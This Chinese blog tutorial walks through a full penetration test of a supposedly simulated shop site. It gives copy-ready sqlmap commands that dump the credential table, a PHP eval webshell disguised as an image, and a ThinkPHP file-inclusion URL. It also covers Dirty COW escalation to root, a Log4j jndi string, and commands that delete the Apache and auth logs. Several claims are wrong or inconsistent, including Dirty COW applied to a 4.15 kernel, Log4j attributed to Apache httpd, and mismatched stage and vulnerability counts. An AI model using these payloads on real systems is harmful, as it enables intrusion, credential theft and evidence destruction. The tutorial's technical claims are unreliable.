网站渗透测试实战:从信息收集到 getshell 的完整流程

在这里插入图片描述

引言

很多转行同学学了零散的工具和漏洞,却不知道 “完整的网站渗透测试该怎么做”—— 从拿到目标网站到最终 getshell,需要一套标准化流程:信息收集→漏洞扫描→漏洞利用→权限提升→getshell→报告编写。本文以 “模拟电商网站(test-shop.com)” 为例,讲解完整渗透流程,每个环节都给具体步骤和工具使用方法,零基础跟着做就能完成一次完整的网站渗透,还能积累项目经验写进简历。

一、实战流程总览(6 个阶段,总耗时:1 天)

阶段核心目标常用工具耗时
1. 信息收集摸清目标情况(IP、子域名、端口、技术栈)Nmap、Whois、Wappalyzer2 小时
2. 漏洞扫描自动化发现漏洞(SQL 注入、XSS、文件上传)Burp Suite、Nessus、Sqlmap3 小时
3. 漏洞利用手动验证漏洞,获取初步权限Burp Suite、Sqlmap、中国蚁剑3 小时
4. 权限提升从 Web 权限提升到服务器系统权限Meterpreter、mimikatz2 小时
5. 痕迹清理与报告清除测试痕迹,编写渗透报告手动清理、报告模板2 小时

二、阶段 1:信息收集(渗透测试的 “侦察兵”)

信息收集的质量决定渗透成败 —— 收集越全面,漏洞发现概率越高。

1. 基础信息收集(IP、域名、WHOIS)

  1. 获取目标 IP:
Name:    test-shop.com
Address: 192.168.1.106
Name:    test-shop.com
Address: 192.168.1.107  # 多IP负载均衡,需同时测试
  1. WHOIS 域名信息:
  • 命令:whois test-shop.com(Kali)或用在线 WHOIS 工具(如https://whois.domaintools.com/);

  • 重点关注:注册人邮箱(判断是否为目标企业)、DNS 服务器(如ns1.aliyun.com,后续可测试 DNS 漏洞)、注册时间(老域名可能存在历史漏洞)。

2. 子域名收集(扩大测试范围)

目标网站可能存在未公开的子域名(如admin.test-shop.com、api.test-shop.com),子域名常存在更多漏洞:

  1. 工具:OneForAll(开源子域名收集工具):
  • 安装:pip install oneforall;

  • 执行:oneforall -d test-shop.com -o ./subdomains,生成subdomains.csv文件;

  1. 筛选有效子域名:
  • 用ping或httpx工具验证子域名是否可访问:httpx -l subdomains.csv -o alive_subdomains.txt;

  • 发现有效子域名:admin.test-shop.com(管理后台)、upload.test-shop.com(文件上传接口),后续重点测试。

3. 端口与服务扫描(用 Nmap)

  1. 全端口扫描:nmap -p 1-65535 -sV -O 192.168.1.106 -oN nmap_full.txt;
  • 关键结果:

  • 80/443 端口:开放 Apache 2.4.49(Web 服务);

  • 22 端口:开放 OpenSSH 7.9(Linux 服务器,可测试弱密码);

  • 3306 端口:开放 MySQL 5.7(数据库,需测试未授权访问或弱密码);

  1. 漏洞端口关注:若开放 8080(Tomcat)、21(FTP),需重点测试(如 Tomcat 弱密码、FTP 匿名登录)。

4. 技术栈与敏感目录探测

  1. 技术栈识别:
  • 工具:Wappalyzer(Chrome 插件)或whatweb(Kali 命令:whatweb test-shop.com);

  • 结果:Apache 2.4.49、PHP 7.3、MySQL 5.7、ThinkPHP 5.1(PHP 框架,存在历史漏洞);

  1. 敏感目录探测:
  • 工具:Dirsearch(目录扫描工具);

  • 执行:dirsearch -u http://test-shop.com -w /usr/share/wordlists/dirb/common.txt -e php,txt;

  • 发现敏感目录:

  • /admin/login.php(管理后台登录页);

  • /upload/(文件上传目录,可测试文件遍历);

  • /thinkphp/(ThinkPHP 框架目录,存在/thinkphp/router.php漏洞接口)。

三、阶段 2:漏洞扫描(自动化发现漏洞)

1. Web 漏洞扫描(用 Burp Suite Active Scan)

  1. 配置扫描范围:
  • 打开 Burp,进入 “Target”→“Scope”,添加test-shop.com及子域名到扫描范围;

  • 进入 “Scanner”→“New scan”,选择 “Active scan”,添加目标 URL(http://test-shop.com);

  1. 启动扫描:点击 “Start scan”,等待扫描完成(约 30 分钟);

  2. 关键漏洞结果:

  • SQL 注入:http://test-shop.com/goods.php?id=1(参数id存在注入);

  • XSS:http://test-shop.com/search.php?keyword=test(参数keyword存在反射型 XSS);

  • 文件上传漏洞:http://upload.test-shop.com/upload.php(未校验文件类型)。

2. 系统漏洞扫描(用 Nessus)

  1. 新建扫描任务:选择 “Basic Network Scan”,输入目标 IP 192.168.1.106;

  2. 扫描结果:

  • 高危:Apache Log4j2 远程代码执行漏洞(CVE-2021-44228);

  • 中危:SSH 弱加密套件(使用 3des-ede-cbc);

  • 低危:MySQL 版本信息泄露。

四、阶段 3:漏洞利用(获取初步权限)

1. SQL 注入利用(用 Sqlmap 获取数据库权限)

  1. 自动化注入:
sqlmap -u "http://test-shop.com/goods.php?id=1" --cookie="PHPSESSID=abc123" --dbs
  • 结果:获取数据库test_shop_db,包含users(用户表)、orders(订单表);
  1. 导出管理员账号密码:
sqlmap -u "http://test-shop.com/goods.php?id=1" --cookie="PHPSESSID=abc123" -D test_shop_db -T users -C username,password --dump
  • 结果:admin:5f4dcc3b5aa765d61d8327deb882cf99(密码哈希解密为admin123);
  1. 登录管理后台:访问http://admin.test-shop.com/login.php,用admin/admin123登录成功,获取 Web 后台权限。

2. 文件上传漏洞利用(getshell)

  1. 准备图片马:新建shell.png,开头添加GIF89a,内容:
GIF89a<?php @eval($_POST['cmd']);?>
  1. 上传文件:在http://upload.test-shop.com/upload.php上传shell.png,页面返回路径:http://upload.test-shop.com/20251127/shell.png;

  2. 利用文件包含漏洞:发现 ThinkPHP 框架存在文件包含漏洞,访问:

http://test-shop.com/thinkphp/router.php?s=index/\think\Template::fetch&template=file:///var/www/html/upload/20251127/shell.png
  1. 蚁剑连接:添加连接,URL 填上述包含漏洞 URL,密码cmd,连接成功,获取 Web 权限(www-data 用户)。

五、阶段 4:权限提升(从 Web 权限到系统权限)

1. 信息收集(判断服务器类型与漏洞)

  1. 查看系统信息:在蚁剑终端执行:
uname -a  # 显示Linux test-shop 4.15.0-142-generic #146-Ubuntu SMP Tue Apr 13 01:11:19 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
  • 结果:Ubuntu 18.04,64 位,内核版本 4.15.0-142(存在内核漏洞提权可能);
  1. 查看用户权限:id→uid=33(www-data) gid=33(www-data) groups=33(www-data)(低权限用户)。

2. 内核漏洞提权(用 Dirty COW 漏洞)

  1. 下载提权 exp:在蚁剑中上传dirtycow.c(Dirty COW 漏洞 exp,适用于内核 < 4.14.117);

  2. 编译并执行:

gcc dirtycow.c -o dirtycow -pthread
./dirtycow  # 执行exp,生成root权限的shell
  1. 获取 root 权限:执行./firefart(exp 生成的 root shell),id显示uid=0(root) gid=0(root),提权成功。

六、阶段 5:痕迹清理与渗透报告

1. 痕迹清理(合法测试必备)

  1. 删除日志:
rm -rf /var/log/apache2/access.log  # 删除Apache访问日志
rm -rf /var/log/auth.log  # 删除SSH登录日志
  1. 删除后门文件:删除上传的shell.png和提权 exp;

  2. 恢复权限:将/etc/passwd等被修改的文件恢复为原始状态。

2. 编写渗透报告(转行简历核心素材)

报告结构:
  1. 项目概述:
  • 测试目标:test-shop.com及子域名(IP:192.168.1.106/107);

  • 测试范围:Web 应用、服务器系统、数据库;

  • 测试时间:2025-11-27。

  1. 漏洞汇总(按风险等级排序):
漏洞名称风险等级位置利用方法修复建议
SQL 注入高危/goods.php?id=1Sqlmap 导出用户数据使用预编译语句,过滤特殊字符
文件上传 + 文件包含高危/upload.php + /thinkphp/router.php上传图片马,包含执行校验文件内容,禁用文件包含
Apache Log4j2 漏洞高危服务器 Apache 组件构造 ${jndi:ldap://…} 触发升级 Log4j2 到 2.17.0+
SSH 弱加密套件中危22 端口抓取流量破解加密禁用 3des-ede-cbc,使用 aes256-ctr
  1. 测试结论:目标网站存在 3 个高危漏洞,攻击者可通过 SQL 注入获取管理员账号、文件上传 getshell 并提权至 root,建议优先修复高危漏洞。
简历写法:

“独立完成模拟电商网站(test-shop.com)全流程渗透测试,通过 OneForAll 收集子域名、Nmap 扫描端口,用 Burp 发现 SQL 注入与文件上传漏洞,Sqlmap 导出管理员数据,上传图片马结合文件包含 getshell,利用 Dirty COW 内核漏洞提权至 root,编写包含 5 个漏洞的渗透报告,提出可落地的修复建议”。

七、总结

完整的网站渗透测试核心是 “流程化 + 工具结合”—— 信息收集扩大范围,漏洞扫描自动化发现,漏洞利用获取权限,提权完成控制,最后清理痕迹并交付报告。新手需多练 “工具命令 + 漏洞利用逻辑”,而非死记步骤,比如从 “文件上传漏洞” 延伸到 “图片马制作 + 文件包含触发” 的组合利用。评论区说说你在渗透中遇到的卡壳点,帮你分析解决!

网络安全学习资料分享

为了帮助大家更好的学习网络安全,我把我从一线互联网大厂薅来的网络安全教程及资料分享给大家,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,朋友们如果有需要这套网络安全教程+进阶学习资源包,可以扫码下方二维码限时免费领取(如遇扫码问题,可以在评论区留言领取哦)~

在这里插入图片描述

在这里插入图片描述

更多推荐